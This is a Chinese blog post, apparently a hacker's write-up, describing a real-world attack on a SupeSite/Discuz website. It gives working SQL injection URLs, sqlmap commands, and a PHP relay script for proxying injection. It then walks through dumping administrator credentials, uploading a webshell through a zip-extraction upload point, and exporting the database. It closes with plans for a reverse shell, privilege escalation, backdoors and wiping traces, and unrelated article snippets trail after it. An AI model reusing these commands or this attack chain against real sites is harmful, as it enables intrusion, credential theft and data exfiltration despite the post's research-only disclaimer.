记一次针对SupeSite的中转注入实战

访客4年前黑客工具866

近期在一次演练行动中,对某目标进行了一次渗透测试,期间用到了sqlmap的中转注入技术,还是很有收获的,记录下来和大家共同分享,由于是实战,免不了部分地方是要马赛克的,大家见谅。

免责声明:本文中提到的漏洞利用 *** 和脚本仅供研究学习使用,请遵守《 *** 安全法》等相关法律法规。

手工注入

打开网页,拉到更底看到是

感觉历史有点悠久了,应该是有现成的漏洞了。查阅了一波资料,大佬已经给出了SQL注入的地方,开心的手工注入一波;

先看看有多少字段; 
http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20order%20by%20xxx%23
在看看显示位是哪几位; 
http://www.xxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,,7,8,9,10,11,12%23 
看看数据库; 
http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,database()%23 
然后开心的开始注表; 
http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

到这就突然悲剧了,反复报错,以为有waf,换了多个绕过 *** 在试,还是不行。后来看了下mysql的版本,原来是4.0的,这个版本的mysql是无法通过information_schema.tables来爆表的,那么就上神器sqlmap试试。

sqlmap中转注入

手工注入失败后,用sqlmap跑跑;

sqlmap -u "http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments" -v 3 --dbms=mysql --tamper=space2comment --risk=3 --level=5 --random-agent --dbs --batch

结果还是失败,怎么也跑不出结果来;后来查了资料,才知道这里要用sqlmap的中转注入技巧。

首先用phpsutdy本地搭建一个网站;

放入sql.php,其代码为:

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 

$url="http://www.xxxxx.com/batch.common.php?action=modelquote&cid=1&name=spacecomments%20where%201=$id%23";

echo $url;

$ch=curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);

$output=curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

然后sqlmap就可以开心的跑起来了;

sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 --dbs

数据库跑出来是:Discuz。

接下来继续跑表;

sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz --tables

刚开心没多久,到这又卡住了,很久都跑不出结果;后来仔细想了才知道,这里因为mysql版本问题,布尔盲注时需要提供字典,如果字典不给力的话,那是跑不出结果的。

既然我们都知道了数据库是Discuz,那么查阅下Discuz数据库的表名、列名,作成字典再来跑的话,那问题不就解决了。

在sqlmap跑时指定好字典;

瞬间答案就出来了,同样的道理,做好字典,来跑列名;

sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members --columns

最后直接就可以注出管理员的账号,密码需要md5破解一下;

sqlmap -u "http://127.0.0.1/sql.php?id=1" --dbms=mysql --time-sec 5 -D Discuz -T cdb_members -C "username,password" --dump

上传shell

登录了管理员后台,接下来就是找地方上传webshell。期间走了很多弯路,SupeSite很多地方都可以上传模板,但在上传模板的地方都在最开始加上了<?exit?>,这样你添加的php代码就不会执行,避免了添加恶意的代码。查阅了很多资料,都没有绕过。最后,找到了一个可以利用的上传点;

把webshell压缩为zip文件后上传,系统会随机生成一个目录,并自动解压zip文件,那我们的webshell就释放出来了;

在备份管理里可以看到这个压缩包以及路径,接下来就可以开心的菜刀连接了。

进去之后在找下配置文件:config.php,里面有数据库的连接账号、密码等信息。

下载数据库

这里用adminer.php,菜刀上传后访问就可以,adminer是一个轻量级的数据库管理工具,优点在于就一个php文件,操作起来也很方便。

直接导出就可以了,这里经过测试,导出sql最稳定,同时压缩下,否则太大了不利于传输。

本地打开sql文件

目标的系统是centos,下载sql文件到本地后,在windows下可以尝试用navicat导入,操作简单就不多赘述了,在kali下导入 *** 如下;

1、首先建空数据库

mysql>create database Discuz;

2、导入数据库

(1)选择数据库

mysql>use Discuz;

(2)设置数据库编码

mysql>set names utf8;

(3)导入数据(注意sql文件的路径)

mysql>source /home/Discuz.sql;

文章到此就告一段落了,后续的流程主要有:

1、上传反弹的webshell,反弹一个通道到vps主机上;

2、尝试提权;

3、留下后门;

4、清理入侵痕迹。

这些将放在后续文章中介绍,本文主要研究的是sqlmap中转注入及上传shell的技巧,仅供技术研究。

相关文章

天鹅座(天鹅座漫画全集免费)

  【内容简介】纯美,清新,优雅,可爱中国首本全彩一拼一漫画志,引领女生漫画阅读新潮水《小小姐》独家气势气魄女生漫画杂志书《天鹅座》推出第三季了!《天鹅附子信息网座,鹅。   这个完全看官方……可是按...

周鸿祎黑客帝国完整版(周鸿祎谈黑客)

周鸿祎黑客帝国完整版(周鸿祎谈黑客)

本文目录一览: 1、《黑客帝国3:矩阵革命》免费在线观看完整版高清,求百度网盘资源 2、《黑客帝国动画版》免费在线观看完整版高清,求百度网盘资源 3、黑客帝国2:重装上阵高清完整版电影 4...

力帆摩托车多少钱,力帆摩托车价格及图片

  力帆说实话,不咋滴,没速度,油耗大,动员机不耐用几多钱,独一一点长处就是比大品牌。 各个地域物流用度差异,进货渠道差异,价值有所不同的。.两轮精练摩托车力帆 lf50。   1w阁下,这个摩托网报...

黑客帝国炽天使演员(黑客帝国炽天使演员表)

黑客帝国炽天使演员(黑客帝国炽天使演员表)

本文目录一览: 1、黑客帝国有几部,分别什么剧情 2、《黑客帝国》2和3中扮演守护天使的香港演员叫什么? 3、请问《黑客帝国》里面那个“炽天使”是谁演的? 黑客帝国有几部,分别什么剧情 《黑...

哪里有查询我家老公QQ信息

孩子在两岁左右就会说一些短语了,还有的时候孩子会说一些句子。不过孩子四岁多的时候说不好话正常吗,孩子不会说话怎么办,孩子四岁不会说话是什么原因呢,怎么让孩子说话呢,友谊长存小编为大家带来了解答。 孩...

黑客和军方哪个更强(黑客vs黑客)

黑客和军方哪个更强(黑客vs黑客)

黑客受国家保护吗?给我点有关黑客,国家,政治的东西。 1、军方的黑客只负责防御,不主动攻击。攻击的是民间高手,但是只针对于国外,对国内动手的话,事大了,只能被查水表了。政治,不谈。2、目前黑客只有两条...